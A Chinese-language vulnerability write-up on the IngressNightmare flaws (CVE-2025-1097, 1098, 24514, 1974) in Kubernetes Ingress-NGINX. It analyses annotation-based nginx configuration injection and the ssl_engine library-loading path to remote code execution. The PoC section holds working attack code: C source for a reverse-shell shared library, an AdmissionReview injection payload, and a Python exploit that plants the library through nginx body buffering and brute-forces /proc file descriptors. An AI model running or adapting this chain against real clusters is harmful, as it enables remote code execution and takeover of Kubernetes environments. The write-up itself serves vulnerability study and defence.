# CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974 分析報告 ## Overview Ingress-NGINX 是一個 Ingress controller 可以拿來讓 Kubernetes 的 application 暴露到外網,他會接受傳入的流量,並且架接到相關 Kubernetes 服務,那 Kubernetes 服務又會基於一組原則把流量轉發到 POD,總結來說 Ingress-NGINX 是做反向代理的 那官方也在文件直接推薦使用 Ingress-nginx 作為 Ingress controller ## Product Version - Ingress-NGINX 1.11.5 以下的版本 ## Root Cause Analysis ### Remote NGINX Configuration Injection 處理傳入的請求時,Admissin controller 會基於模板跟 ingress 生成臨時的設定文件,並且會使用 nginx -t 測試是否有效 ```go= // testTemplate checks if the NGINX configuration inside the byte array is valid // running the command "nginx -t" using a temporal file. func (n *NGINXController) testTemplate(cfg []byte) error { ... tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx"), tempNginxPattern) ... err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser) ... out, err := n.command.Test(tmpfile.Name()) func (nc NginxCommand) Test(cfg string) ([]byte, error) { //nolint:gosec // Ignore G204 error return exec.Command(nc.Binary, "-c", cfg, "-t").CombinedOutput() } ``` 不過通常只有 Kubernetes API 可以發送這一種 request,但因為 admission controller 缺乏驗證,所以如果有訪問的權力就可以去製造特定請求並且從任意 POD 發送 先使用 Kube-Review 創建 Ingress Resource 的 request,並透過 HTTP 直接傳送到 admission controller ``` {     "kind": "AdmissionReview",     "apiVersion": "admission.k8s.io/v1",     "request": {         "uid": "732536f0-d97e-4c9b-94bf-768953754aee", ...         "name": "example-app",         "namespace": "default",         "operation": "CREATE", ...         "object": {             "kind": "Ingress",             "apiVersion": "networking.k8s.io/v1",             "metadata": {                 "name": "example-app",                 "namespace": "default", ...                 "annotations": {                     "nginx.ingress.kubernetes.io/backend-protocol": "FCGI"                 }             },             "spec": {                 "ingressClassName": "nginx",                 "rules": [                     {                         "host": "app.example.com",                         "http": {                             "paths": [                                 {                                     "path": "/",                                     "pathType": "Prefix",                                     "backend": {                                         "service": {                                             "name": "example-service",                                             "port": {}                                         }                                     }                                 }                             ]                         }                     }                 ]             }, ...     } } ``` 可以發現我們可以控制很多部分,並且 annotation parser 會 parse .request.object.annotations 的部分,該部分會被放進去 nginx 的設定文件中,可以用來注入指令 ### CVE-2025-24514 – auth-url Annotation Injection [authreq](https://github.com/kubernetes/ingress-nginx/blob/0ef18ba7fb7ffe5491bbabbb510eee0d17e3ae2a/internal/ingress/annotations/authreq/main.go#L309) parser 負責身分驗證相關的部分,檔案需要設定一個 auth-url,包含一個 url 並且傳送到設定文件中 ```go= func (a authReq) Parse(ing *networking.Ingress) (interface{}, error) { // Required Parameters urlString, err := parser.GetStringAnnotation(authReqURLAnnotation, ing, a.annotationConfig.Annotations) if err != nil { return nil, err } ``` 建立臨時設定檔時 $externalAuth.URL,沒有經過驗證即進行合併 ``` proxy_http_version 1.1; proxy_set_header Connection ""; set $target {{ changeHostPort $externalAuth.URL $authUpstreamName }}; {{ else }} proxy_http_version {{ $location.Proxy.ProxyHTTPVersion }}; set $target {{ $externalAuth.URL }}; {{ end }} ``` 像是以下的樣子 ``` nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\ninjection_point" ``` 最後請求就會像是 ``` ... proxy_http_version 1.1; set $target http://example.com/#; injection_point proxy_pass $target; ... ``` ### CVE-2025-1097-auth-tls-match-cn Annotation Injection 問題出在 [authtls](https://github.com/kubernetes/ingress-nginx/blob/main/internal/ingress/annotations/authtls/main.go) parser,處理 auth-tls-match-cn,使用 [CommonNameAnnotationValidator](https://github.com/kubernetes/ingress-nginx/blob/8105f0861fbd69558e58c52f93540c81edad3a4f/internal/ingress/annotations/parser/validators.go#L128) 做驗證 ```go= func CommonNameAnnotationValidator(s string) error {     if !strings.HasPrefix(s, "CN=") {         return fmt.Errorf("value %s is not a valid Common Name annotation: missing prefix 'CN='", s)     }     if _, err := regexp.Compile(s[3:]); err != nil {         return fmt.Errorf("value %s is not a valid regex: %w", s, err)     }     return nil } ``` 與 CVE-2025-24514 相似,`$server.CertificateAuth.MatchCN` 對應到 `auth-tls-match-cn` ``` if ( $ssl_client_s_dn !~ {{ $server.CertificateAuth.MatchCN }} ) {     return 403 "client certificate unauthorized"; } ``` 嘗試以下設定 ``` nginx.ingress.kubernetes.io/auth-tls-match-cn: "CN=abc #(\n){}\n }}\nglobal_injection;\n#" ``` 最後設定會像是以下的樣子 ``` ... set $proxy_upstream_name "-"; if ( $ssl_client_s_dn !~ CN=abc #( ){} }} global_injection; # ) { return 403 "client certificate unauthorized"; } ... ``` 為了讓 `auth-tls-match-cn` 出現在設定中,會需要提供 `nginx.ingress.kubernetes.io/auth-tls-secret`,像是對應於 cluster 中存在的TLS 證書或 Keypair Secret,並且由於 ingress nginx 使用的帳戶可以訪問 cluster 的所有 secret,所以可以從任何 namespace 指定 secret,只要跟 TLS 證書或 Keypair Secret 對應即可,除此之外,預設情況有許多受託管的 Kubernetes 都有,例如以下列表 ``` kube-system/konnectivity-certs kube-system/azure-wi-webhook-server-cert kube-system/aws-load-balancer-webhook-tls kube-system/hubble-server-certs kube-system/cilium-ca calico-system/node-certs cert-manager/cert-manager-webhook-ca linkerd/linkerd-policy-validator-k8s-tls linkerd/linkerd-proxy-injector-k8s-tls linkerd/linkerd-sp-validator-k8s-tls ``` ### CVE-2025-1098 – mirror UID Injection mirror notation parser,這邊[程式碼](https://github.com/kubernetes/ingress-nginx/blob/bacee47448595e0cf328d420518cde3e1258fe97/internal/ingress/annotations/mirror/main.go#L115)用來處理 UID,並且會插入臨時的 nginx 設定的 [$location.Mirror.Source](https://github.com/kubernetes/ingress-nginx/blob/f32b6dda0545d4e7f72d632d30106ea99a0a1147/rootfs/etc/nginx/template/nginx.tmpl#L1123),因此可以控制 `ing.UID` 欄位,而這邊是注入在 UID 參數,不是 Kubernetes 註解,所以不適用於 regex 的檢查,會直接被插入設定,所以可以繞過上下文直接 inject 任意設定指令 ### CVE-2025-1974 - NGINX Configuration Code Execution 可以繞過路徑限制並訪問未經授權的節點,可以將指令注入 nginx 設定並且透過 nginx -t 測試,因此如果可以在 nginx -t 找到執行任意代碼的指令,就可以破壞 POD 並且拿到高權限的 kubernetes role,不過 nginx 設定只是用來測試所以沒有被實際應用,因此減少實際使用到的指令數量,可用的 nginx 指令如下 ![image](https://hackmd.io/_uploads/ry_7zRUIex.png) 而 load\_module(用來加載 share library 的指令),只能在開頭使用,因此注入 load module 會失敗,那我們可以再查看 ingress nginx controller 有事先 compile 什麼 module([link](https://github.com/kubernetes/ingress-nginx/blob/29513e8564a9a7efd0bf2dfdc86fd2eece190185/images/nginx/rootfs/build.sh#L488)),就會發現 SSL\_Engine 也可以 load share library,那這個指令就可以放在設定的任何地方使用,所以適合我們拿來 inject,所以可以透過在 nginx 測試階段去做 load arbitrary library,因此我們可以再進一步思考要怎麼在 POD 文件系統放置 share library ### Uploading a shared library with NGINX Client Body Buffers 與 nginx -t 跟 admission controller 相同,POD 會執行 nginx 本身,並且 listen 在 80 或 443 port 處理 request 時,nginx 有時候會將 request 保留到 temporary file( [client body buffering](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size)),這種情況發生於 request size 太大的時候,所以我們可以發送一個較大的 request,包含我們的 payload,這時候就會將 temporary file 存放到 POD 的 file system 文件,不過 nginx 會立即刪除 file,所以不太好利用,但 nginx 會包含一個指向該文件的 descriptor,可以從 [ProcFS](https://docs.kernel.org/filesystems/proc.html) 訪問 為了讓 file descriptor 一直開啟,可以讓 request 的 content-length header 設定大於實際大小,這樣 nginx 就會繼續等待,會導致 nginx 卡住,可以讓 file descriptor 打開更長時間,這個方式的唯一缺點是我們會在另一個 process 創建文件,所以沒辦法使用 /proc/self 訪問,所以只能使用猜測 PID 跟 FD 才可以找到 shared library,但因為這是一個較小的 process 所以可以快速暴力出來 ### From Configuration Injection to RCE 所以綜合起來我們可以串起漏洞進行 RCE 1. 透過濫用 nginx client 的 buffer feature 上傳 shared library 2. 向 ingress nginx controller 的 admisstion controller 發送包含 injection payload 的 AdmissionReview request 3. 透過 `ssl\_engine` 可以去 load shared library 4. 指定 ProcFS 到 file descriptor 5. 最後就 load shared library 並且 RCE ## PoC ### 環境建置 可以透過 https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg 架設,但步驟相對複雜且困難,所以使用 vulhub 建置好的 docker images ```yml= services: k3s: image: vulhub/ingress-nginx:1.9.5 privileged: true environment: - K3S_KUBECONFIG_MODE=666 ports: - 30080:30080 - 30443:30443 ``` shell.c:用來開 reverse shell 因為是用 shared library 的方式,所以要以此編譯 ```sh= gcc -shared -fPIC -o shell.so shell.c ``` ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> __attribute__((constructor)) static void reverse_shell(void){ char *server_ip = ""; // 填入 IP uint32_t server_port = ; // 填入 port int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0){ exit(1); } struct sockaddr_in attacker_addr = {0}; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0){ exit(0); } dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); char *args[] = {"/bin/bash", NULL}; execve("/bin/bash", args, NULL); } ``` Configuration Injection 參考:https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps/blob/main/nginx-ingress/validate.json ``` admission_json = """ { "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { "uid": "3babc164-2b11-4c9c-976a-52f477c63e35", "kind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "resource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "requestKind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "requestResource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "name": "minimal-ingress", "namespace": "default", "operation": "CREATE", "userInfo": { "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6" }, "object": { "kind": "Ingress", "apiVersion": "networking.k8s.io/v1", "metadata": { "name": "minimal-ingress", "namespace": "default", "creationTimestamp": null, "annotations": { "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n" } }, "spec": { "ingressClassName": "nginx", "rules": [ { "host": "test.example.com", "http": { "paths": [ { "path": "/", "pathType": "Prefix", "backend": { "service": { "name": "kubernetes", "port": { "number": 443 } } } } ] } } ] }, "status": { "loadBalancer": {} } }, "oldObject": null, "dryRun": true, "options": { "kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1" } } } """ ``` exploit.py ```py= import base64 import time import requests import sys from urllib.parse import urlparse import threading from concurrent.futures import ThreadPoolExecutor import urllib3 import socket import os urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) ADMISSION_URL = "https://localhost:30443/networking/v1/ingresses" INGRESS_URL = "http://localhost:30080/fake/addr" SHELL_FILE = "shell.so" NUM_WORKERS = 10 admission_json = """ { "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { "uid": "3babc164-2b11-4c9c-976a-52f477c63e35", "kind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "resource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "requestKind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "requestResource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "name": "minimal-ingress", "namespace": "default", "operation": "CREATE", "userInfo": { "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6" }, "object": { "kind": "Ingress", "apiVersion": "networking.k8s.io/v1", "metadata": { "name": "minimal-ingress", "namespace": "default", "creationTimestamp": null, "annotations": { "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n" } }, "spec": { "ingressClassName": "nginx", "rules": [ { "host": "test.example.com", "http": { "paths": [ { "path": "/", "pathType": "Prefix", "backend": { "service": { "name": "kubernetes", "port": { "number": 443 } } } } ] } } ] }, "status": { "loadBalancer": {} } }, "oldObject": null, "dryRun": true, "options": { "kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1" } } } """ def send_request(admission_url, json_data, proc, fd): print(f"Trying Proc: {proc}, FD: {fd}") path = f"proc/{proc}/fd/{fd}" replaced_data = json_data.replace("REPLACE", path) headers = { "Content-Type": "application/json" } full_url = admission_url.rstrip("/") + "/admission" try: response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1) print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}") except Exception as e: print(f"Error on /proc/{proc}/fd/{fd}: {e}") def admission_brute(admission_url, max_workers=10): with ThreadPoolExecutor(max_workers=max_workers) as executor: for proc in range(30, 50): for fd in range(3, 30): executor.submit(send_request, admission_url, admission_json, proc, fd) for proc in range(160, 180): for fd in range(3, 30): executor.submit(send_request, admission_url, admission_json, proc, fd) def exploit(ingress_url, shell_file): if not os.path.exists(shell_file): print(f"Error: Shell file '{shell_file}' not found") sys.exit(1) so = open(shell_file, 'rb').read() + b"\x00" * 8092 real_length = len(so) fake_length = real_length + 10 parsed = urlparse(ingress_url) host = parsed.hostname port = parsed.port or 80 path = parsed.path or "/" try: sock = socket.create_connection((host, port)) except Exception as e: print(f"Error connecting to {host}:{port}: {e}") sys.exit(1) headers = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"User-Agent: lufeisec\r\n" f"Content-Type: application/octet-stream\r\n" f"Content-Length: {fake_length}\r\n" f"Connection: keep-alive\r\n\r\n" ).encode("iso-8859-1") sock.sendall(headers + so) response = b"" while True: chunk = sock.recv(4096) if not chunk: break response += chunk print("[*] Response:") print(response.decode(errors="ignore")) sock.close() def main(): print(f"[*] Using shell file: {SHELL_FILE}") print(f"[*] Admission URL: {ADMISSION_URL}") print(f"[*] Ingress URL: {INGRESS_URL}") print(f"[*] Workers: {NUM_WORKERS}") print("[*] Starting exploit...") x = threading.Thread(target=exploit, args=(INGRESS_URL, SHELL_FILE)) x.start() time.sleep(2) admission_brute(ADMISSION_URL, max_workers=NUM_WORKERS) if __name__ == "__main__": main() ``` ![image](https://hackmd.io/_uploads/rkQ84ZOLel.png) ## reference [https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities](https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities) [https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg](https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg) [https://blog.csdn.net/leah126/article/details/147160597](https://blog.csdn.net/leah126/article/details/147160597)